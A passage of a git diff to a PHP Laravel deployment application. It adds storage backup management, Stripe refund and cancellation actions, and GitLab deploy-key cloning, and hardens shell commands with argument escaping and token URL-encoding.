Illuminate\Support\Facades\DB; +use Livewire\Attributes\On; use Livewire\Component; class Form extends Component @@ -131,19 +132,7 @@ public function testConnection() } } - public function delete() - { - try { - $this->authorize('delete', $this->storage); - - $this->storage->delete(); - - return redirect()->route('storage.index'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - + #[On('submitStorage')] public function submit() { try { diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php new file mode 100644 index 000000000..643ecb3eb --- /dev/null +++ b/app/Livewire/Storage/Resources.php @@ -0,0 +1,85 @@ +storage->id) + ->where('save_s3', true) + ->get(); + + foreach ($backups as $backup) { + $this->selectedStorages[$backup->id] = $this->storage->id; + } + } + + public function disableS3(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + + $backup->update([ + 'save_s3' => false, + 's3_storage_id' => null, + ]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + } + + public function moveBackup(int $backupId): void + { + $backup = ScheduledDatabaseBackup::findOrFail($backupId); + $newStorageId = $this->selectedStorages[$backupId] ?? null; + + if (! $newStorageId || (int) $newStorageId === $this->storage->id) { + $this->dispatch('error', 'No change.', 'The backup is already using this storage.'); + + return; + } + + $newStorage = S3Storage::where('id', $newStorageId) + ->where('team_id', $this->storage->team_id) + ->first(); + + if (! $newStorage) { + $this->dispatch('error', 'Storage not found.'); + + return; + } + + $backup->update(['s3_storage_id' => $newStorage->id]); + + unset($this->selectedStorages[$backupId]); + + $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); + } + + public function render() + { + $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + ->where('save_s3', true) + ->with('database') + ->get() + ->groupBy(fn ($backup) => $backup->database_type.'-'.$backup->database_id); + + $allStorages = S3Storage::where('team_id', $this->storage->team_id) + ->orderBy('name') + ->get(['id', 'name', 'is_usable']); + + return view('livewire.storage.resources', [ + 'groupedBackups' => $backups, + 'allStorages' => $allStorages, + ]); + } +} diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index fdf3d0d28..dc5121e94 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -3,6 +3,7 @@ namespace App\Livewire\Storage; use App\Models\S3Storage; +use App\Models\ScheduledDatabaseBackup; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -12,6 +13,10 @@ class Show extends Component public $storage = null; + public string $currentRoute = ''; + + public int $backupCount = 0; + public function mount() { $this->storage = S3Storage::ownedByCurrentTeam()->whereUuid(request()->storage_uuid)->first(); @@ -19,6 +24,21 @@ public function mount() abort(404); } $this->authorize('view', $this->storage); + $this->currentRoute = request()->route()->getName(); + $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count(); + } + + public function delete() + { + try { + $this->authorize('delete', $this->storage); + + $this->storage->delete(); + + return redirect()->route('storage.index'); + } catch (\Throwable $e) { + return handleError($e, $this); + } } public function render() diff --git a/app/Livewire/Subscription/Actions.php b/app/Livewire/Subscription/Actions.php index 1388d3244..33eed3a6a 100644 --- a/app/Livewire/Subscription/Actions.php +++ b/app/Livewire/Subscription/Actions.php @@ -2,21 +2,214 @@ namespace App\Livewire\Subscription; +use App\Actions\Stripe\CancelSubscriptionAtPeriodEnd; +use App\Actions\Stripe\RefundSubscription; +use App\Actions\Stripe\ResumeSubscription; +use App\Actions\Stripe\UpdateSubscriptionQuantity; use App\Models\Team; +use Carbon\Carbon; +use Illuminate\Support\Facades\Hash; use Livewire\Component; +use Stripe\StripeClient; class Actions extends Component { public $server_limits = 0; - public function mount() + public int $quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $minServerLimit = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + public int $maxServerLimit = UpdateSubscriptionQuantity::MAX_SERVER_LIMIT; + + public ?array $pricePreview = null; + + public bool $isRefundEligible = false; + + public int $refundDaysRemaining = 0; + + public bool $refundCheckLoading = true; + + public bool $refundAlreadyUsed = false; + + public string $billingInterval = 'monthly'; + + public ?string $nextBillingDate = null; + + public function mount(): void { $this->server_limits = Team::serverLimit(); + $this->quantity = (int) $this->server_limits; + $this->billingInterval = currentTeam()->subscription?->billingInterval() ?? 'monthly'; } - public function stripeCustomerPortal() + public function loadPricePreview(int $quantity): void + { + $this->quantity = $quantity; + $result = (new UpdateSubscriptionQuantity)->fetchPricePreview(currentTeam(), $quantity); + $this->pricePreview = $result['success'] ? $result['preview'] : null; + } + + // Password validation is intentionally skipped for quantity updates. + // Unlike refunds/cancellations, changing the server limit is a + // non-destructive, reversible billing adjustment (prorated by Stripe). + public function updateQuantity(string $password = ''): bool + { + if ($this->quantity < UpdateSubscriptionQuantity::MIN_SERVER_LIMIT) { + $this->dispatch('error', 'Minimum server limit is '.UpdateSubscriptionQuantity::MIN_SERVER_LIMIT.'.'); + $this->quantity = UpdateSubscriptionQuantity::MIN_SERVER_LIMIT; + + return true; + } + + if ($this->quantity === (int) $this->server_limits) { + return true; + } + + $result = (new UpdateSubscriptionQuantity)->execute(currentTeam(), $this->quantity); + + if ($result['success']) { + $this->server_limits = $this->quantity; + $this->pricePreview = null; + $this->dispatch('success', 'Server limit updated to '.$this->quantity.'.'); + + return true; + } + + $this->dispatch('error', $result['error'] ?? 'Failed to update server limit.'); + $this->quantity = (int) $this->server_limits; + + return true; + } + + public function loadRefundEligibility(): void + { + $this->checkRefundEligibility(); + $this->refundCheckLoading = false; + } + + public function stripeCustomerPortal(): void { $session = getStripeCustomerPortalSession(currentTeam()); redirect($session->url); } + + public function refundSubscription(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $result = (new RefundSubscription)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription refunded successfully.'); + $this->redirect(route('subscription.index'), navigate: true); + + return true; + } + + $this->dispatch('error', 'Something went wrong with the refund. Please contact us.'); + + return true; + } + + public function cancelImmediately(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $team = currentTeam(); + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + + try { + $stripe = new StripeClient(config('subscription.stripe_api_key')); + $stripe->subscriptions->cancel($subscription->stripe_subscription_id); + + $subscription->update([ + 'stripe_cancel_at_period_end' => false, + 'stripe_invoice_paid' => false, + 'stripe_trial_already_ended' => false, + 'stripe_past_due' => false, + 'stripe_feedback' => 'Cancelled immediately by user', + 'stripe_comment' => 'Subscription cancelled immediately by user at '.now()->toDateTimeString(), + ]); + + $team->subscriptionEnded(); + + \Log::info("Subscription {$subscription->stripe_subscription_id} cancelled immediately for team {$team->name}"); + + $this->dispatch('success', 'Subscription cancelled successfully.'); + $this->redirect(route('subscription.index'), navigate: true); + + return true; + } catch (\Exception $e) { + \Log::error("Immediate cancellation error for team {$team->id}: ".$e->getMessage()); + + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + } + + public function cancelAtPeriodEnd(string $password): bool|string + { + if (! shouldSkipPasswordConfirmation() && ! Hash::check($password, auth()->user()->password)) { + return 'Invalid password.'; + } + + $result = (new CancelSubscriptionAtPeriodEnd)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription will be cancelled at the end of the billing period.'); + + return true; + } + + $this->dispatch('error', 'Something went wrong with the cancellation. Please contact us.'); + + return true; + } + + public function resumeSubscription(): bool + { + $result = (new ResumeSubscription)->execute(currentTeam()); + + if ($result['success']) { + $this->dispatch('success', 'Subscription resumed successfully.'); + + return true; + } + + $this->dispatch('error', 'Something went wrong resuming the subscription. Please contact us.'); + + return true; + } + + private function checkRefundEligibility(): void + { + if (! isCloud() || ! currentTeam()->subscription?->stripe_subscription_id) { + return; + } + + try { + $this->refundAlreadyUsed = currentTeam()->subscription?->stripe_refunded_at !== null; + $result = (new RefundSubscription)->checkEligibility(currentTeam()); + $this->isRefundEligible = $result['eligible']; + $this->refundDaysRemaining = $result['days_remaining']; + + if ($result['current_period_end']) { + $this->nextBillingDate = Carbon::createFromTimestamp($result['current_period_end'])->format('M j, Y'); + } + } catch (\Exception $e) { + \Log::warning('Refund eligibility check failed: '.$e->getMessage()); + } + } } diff --git a/app/Livewire/Subscription/PricingPlans.php b/app/Livewire/Subscription/PricingPlans.php index 6b2d3fb36..6e1b85404 100644 --- a/app/Livewire/Subscription/PricingPlans.php +++ b/app/Livewire/Subscription/PricingPlans.php @@ -11,6 +11,12 @@ class PricingPlans extends Component { public function subscribeStripe($type) { + if (currentTeam()->subscription?->stripe_invoice_paid) { + $this->dispatch('error', 'Team already has an active subscription.'); + + return; + } + Stripe::setApiKey(config('subscription.stripe_api_key')); $priceId = match ($type) { diff --git a/app/Livewire/Team/AdminView.php b/app/Livewire/Team/AdminView.php index c8d44d42b..09878f27b 100644 --- a/app/Livewire/Team/AdminView.php +++ b/app/Livewire/Team/AdminView.php @@ -49,14 +49,14 @@ public function getUsers() } } - public function delete($id, $password) + public function delete($id, $password, $selectedActions = []) { if (! isInstanceAdmin()) { return redirect()->route('dashboard'); } if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! auth()->user()->isInstanceAdmin()) { @@ -71,6 +71,8 @@ public function delete($id, $password) try { $user->delete(); $this->getUsers(); + + return true; } catch (\Exception $e) { return $this->dispatch('error', $e->getMessage()); } diff --git a/app/Models/Application.php b/app/Models/Application.php index 28ef79078..c446052b3 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -61,6 +61,8 @@ 'health_check_timeout' => ['type' => 'integer', 'description' => 'Health check timeout in seconds.'], 'health_check_retries' => ['type' => 'integer', 'description' => 'Health check retries count.'], 'health_check_start_period' => ['type' => 'integer', 'description' => 'Health check start period in seconds.'], + 'health_check_type' => ['type' => 'string', 'description' => 'Health check type: http or cmd.', 'enum' => ['http', 'cmd']], + 'health_check_command' => ['type' => 'string', 'nullable' => true, 'description' => 'Health check command for CMD type.'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit.'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit.'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness.'], @@ -388,7 +390,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } @@ -987,17 +989,24 @@ public function isPRDeployable(): bool public function deploymentType() { - if (isDev() && data_get($this, 'private_key_id') === 0) { + $privateKeyId = data_get($this, 'private_key_id'); + + // Real private key (id > 0) always takes precedence + if ($privateKeyId !== null && $privateKeyId > 0) { return 'deploy_key'; } - if (! is_null(data_get($this, 'private_key_id'))) { - return 'deploy_key'; - } elseif (data_get($this, 'source')) { + + // GitHub/GitLab App source + if (data_get($this, 'source')) { return 'source'; - } else { - return 'other'; } - throw new \Exception('No deployment type found'); + + // Localhost key (id = 0) when no source is configured + if ($privateKeyId === 0) { + return 'deploy_key'; + } + + return 'other'; } public function could_set_build_commands(): bool @@ -1085,19 +1094,28 @@ public function dirOnServer() return application_configuration_dir()."/{$this->uuid}"; } - public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false) + public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $git_ssh_command = null) { $baseDir = $this->generateBaseDir($deployment_uuid); $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; - if ($this->git_commit_sha !== 'HEAD') { + // Use the full GIT_SSH_COMMAND (including -i for SSH key and port options) when provided, + // so that git fetch, submodule update, and lfs pull can authenticate the same way as git clone. + $sshCommand = $git_ssh_command ?? 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; + + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. + // Invalid refs will cause the git checkout/fetch command to fail on the remote server. + $commitToUse = $commit ?? $this->git_commit_sha; + + if ($commitToUse !== 'HEAD') { + $escapedCommit = escapeshellarg($commitToUse); // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$this->git_commit_sha} && git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$this->git_commit_sha} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { @@ -1108,10 +1126,10 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; - $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; + $git_clone_command = "{$git_clone_command} git submodule sync && {$sshCommand} git submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git lfs pull"; } return $git_clone_command; @@ -1156,14 +1174,15 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ $base_command = "{$base_command} {$escapedRepoUrl}"; } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $base_command = "{$base_command} {$escapedRepoUrl}"; $fullRepoUrl = $repoUrl; @@ -1182,6 +1201,62 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = str_replace("'", "'\\''", $customRepository); + $base_command = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$base_command} '{$escapedCustomRepository}'"; + + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $base_command = "{$base_command} {$escapedCustomRepository}"; + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $base_command)); + } else { + $commands->push($base_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { @@ -1285,7 +1360,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); } if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); @@ -1294,19 +1369,20 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } } else { $github_access_token = generateGithubInstallationToken($this->source); + $encodedToken = rawurlencode($github_access_token); if ($exec_in_docker) { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } else { - $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; + $repoUrl = "$source_html_url_scheme://x-access-token:$encodedToken@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } if (! $only_checkout) { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: false, commit: $commit); } if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); @@ -1332,6 +1408,78 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req 'fullRepoUrl' => $fullRepoUrl, ]; } + + if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + $gitlabSource = $this->source; + $private_key = data_get($gitlabSource, 'privateKey.private_key'); + + if ($private_key) { + $fullRepoUrl = $customRepository; + $private_key = base64_encode($private_key); + $gitlabPort = $gitlabSource->custom_port ?? 22; + $escapedCustomRepository = escapeshellarg($customRepository); + $gitlabSshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$gitlabSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + if ($only_checkout) { + $git_clone_command = $git_clone_command_base; + } else { + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $gitlabSshCommand); + } + if ($exec_in_docker) { + $commands = collect([ + executeInDocker($deployment_uuid, 'mkdir -p /root/.ssh'), + executeInDocker($deployment_uuid, "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null"), + executeInDocker($deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), + ]); + } else { + $commands = collect([ + 'mkdir -p /root/.ssh', + "echo '{$private_key}' | base64 -d | tee /root/.ssh/id_rsa > /dev/null", + 'chmod 600 /root/.ssh/id_rsa', + ]); + } + + if ($pull_request_id !== 0) { + $branch = "merge-requests/{$pull_request_id}/head:$pr_branch_name"; + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); + } else { + $commands->push("echo 'Checking out $branch'"); + } + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + } + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } + + // GitLab source without private key — use URL as-is (supports user-embedded basic auth) + $fullRepoUrl = $customRepository; + $escapedCustomRepository = escapeshellarg($customRepository); + $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); + + if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $git_clone_command)); + } else { + $commands->push($git_clone_command); + } + + return [ + 'commands' => $commands->implode(' && '), + 'branch' => $branch, + 'fullRepoUrl' => $fullRepoUrl, + ]; + } } if ($this->deploymentType() === 'deploy_key') { $fullRepoUrl = $customRepository; @@ -1341,11 +1489,12 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } $private_key = base64_encode($private_key); $escapedCustomRepository = escapeshellarg($customRepository); - $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $deployKeySshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$deployKeySshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $deployKeySshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1403,7 +1552,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $fullRepoUrl = $customRepository; $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); if ($pull_request_id !== 0) { if ($git_type === 'gitlab') { @@ -1583,7 +1732,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { @@ -1644,7 +1793,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } @@ -1679,7 +1828,8 @@ public function fqdns(): Attribute protected function buildGitCheckoutCommand($target): string { - $command = "git checkout $target"; + $escapedTarget = escapeshellarg($target); + $command = "git checkout {$escapedTarget}"; if ($this->settings->is_git_submodules_enabled) { $command .= ' && git submodule update --init --recursive'; @@ -1959,17 +2109,6 @@ public function parseHealthcheckFromDockerfile($dockerfile, bool $isInit = false } } - public static function getDomainsByUuid(string $uuid): array - { - $application = self::where('uuid', $uuid)->first(); - - if ($application) { - return $application->fqdns; - } - - return []; - } - public function getLimits(): array { return [ diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 7373fdb16..b8a8a5a85 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -37,7 +37,7 @@ protected static function booted() $persistentStorages = $preview->persistentStorages()->get() ?? collect(); if ($persistentStorages->count() > 0) { foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } @@ -166,6 +166,16 @@ public function generate_preview_fqdn_compose() } $this->docker_compose_domains = json_encode($docker_compose_domains); + + // Populate fqdn from generated domains so webhook notifications can read it + $allDomains = collect($docker_compose_domains) + ->pluck('domain') + ->filter(fn ($d) => ! empty($d)) + ->flatMap(fn ($d) => explode(',', $d)) + ->implode(','); + + $this->fqdn = ! empty($allDomains) ? $allDomains : null; + $this->save(); } } diff --git a/app/Models/Environment.php b/app/Models/Environment.php index c2ad9d2cb..d4e614e6e 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -4,6 +4,7 @@ use App\Traits\ClearsGlobalSearchCache; use App\Traits\HasSafeStringAttribute; +use Illuminate\Database\Eloquent\Factories\HasFactory; use OpenApi\Attributes as OA; #[OA\Schema( @@ -21,6 +22,7 @@ class Environment extends BaseModel { use ClearsGlobalSearchCache; + use HasFactory; use HasSafeStringAttribute; protected $guarded = []; diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 4f1e277e4..5acd4c1e4 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -24,6 +24,7 @@ 'key' => ['type' => 'string'], 'value' => ['type' => 'string'], 'real_value' => ['type' => 'string'], + 'comment' => ['type' => 'string', 'nullable' => true], 'version' => ['type' => 'string'], 'created_at' => ['type' => 'string'], 'updated_at' => ['type' => 'string'], @@ -31,7 +32,35 @@ )] class EnvironmentVariable extends BaseModel { - protected $guarded = []; + protected $attributes = [ + 'is_runtime' => true, + 'is_buildtime' => true, + ]; + + protected $fillable = [ + // Core identification + 'key', + 'value', + 'comment', + + // Polymorphic relationship + 'resourceable_type', + 'resourceable_id', + + // Boolean flags + 'is_preview', + 'is_multiline', + 'is_literal', + 'is_runtime', + 'is_buildtime', + 'is_shown_once', + 'is_shared', + 'is_required', + + // Metadata + 'version', + 'order', + ]; protected $casts = [ 'key' => 'string', @@ -67,6 +96,7 @@ protected static function booted() 'is_literal' => $environment_variable->is_literal ?? false, 'is_runtime' => $environment_variable->is_runtime ?? false, 'is_buildtime' => $environment_variable->is_buildtime ?? false, + 'comment' => $environment_variable->comment, 'resourceable_type' => Application::class, 'resourceable_id' => $environment_variable->resourceable_id, 'is_preview' => true, @@ -189,37 +219,7 @@ protected function isShared(): Attribute private function get_real_environment_variables(?string $environment_variable = null, $resource = null) { - if ((is_null($environment_variable) && $environment_variable === '') || is_null($resource)) { - return null; - } - $environment_variable = trim($environment_variable); - $sharedEnvsFound = str($environment_variable)->matchAll('/{{(.*?)}}/'); - if ($sharedEnvsFound->isEmpty()) { - return $environment_variable; - } - foreach ($sharedEnvsFound as $sharedEnv) { - $type = str($sharedEnv)->trim()->match('/(.*?)\./'); - if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { - continue; - } - $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); - if ($type->value() === 'environment') { - $id = $resource->environment->id; - } elseif ($type->value() === 'project') { - $id = $resource->environment->project->id; - } elseif ($type->value() === 'team') { - $id = $resource->team()->id; - } - if (is_null($id)) { - continue; - } - $environment_variable_found = SharedEnvironmentVariable::where('type', $type)->where('key', $variable)->where('team_id', $resource->team()->id)->where("{$type}_id", $id)->first(); - if ($environment_variable_found) { - $environment_variable = str($environment_variable)->replace("{{{$sharedEnv}}}", $environment_variable_found->value); - } - } - - return str($environment_variable)->value(); + return resolveSharedEnvironmentVariables($environment_variable, $resource); } private function get_environment_variables(?string $environment_variable = null): ?string diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 9d7095cb5..b954a1dd5 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -3,6 +3,7 @@ namespace App\Models; use 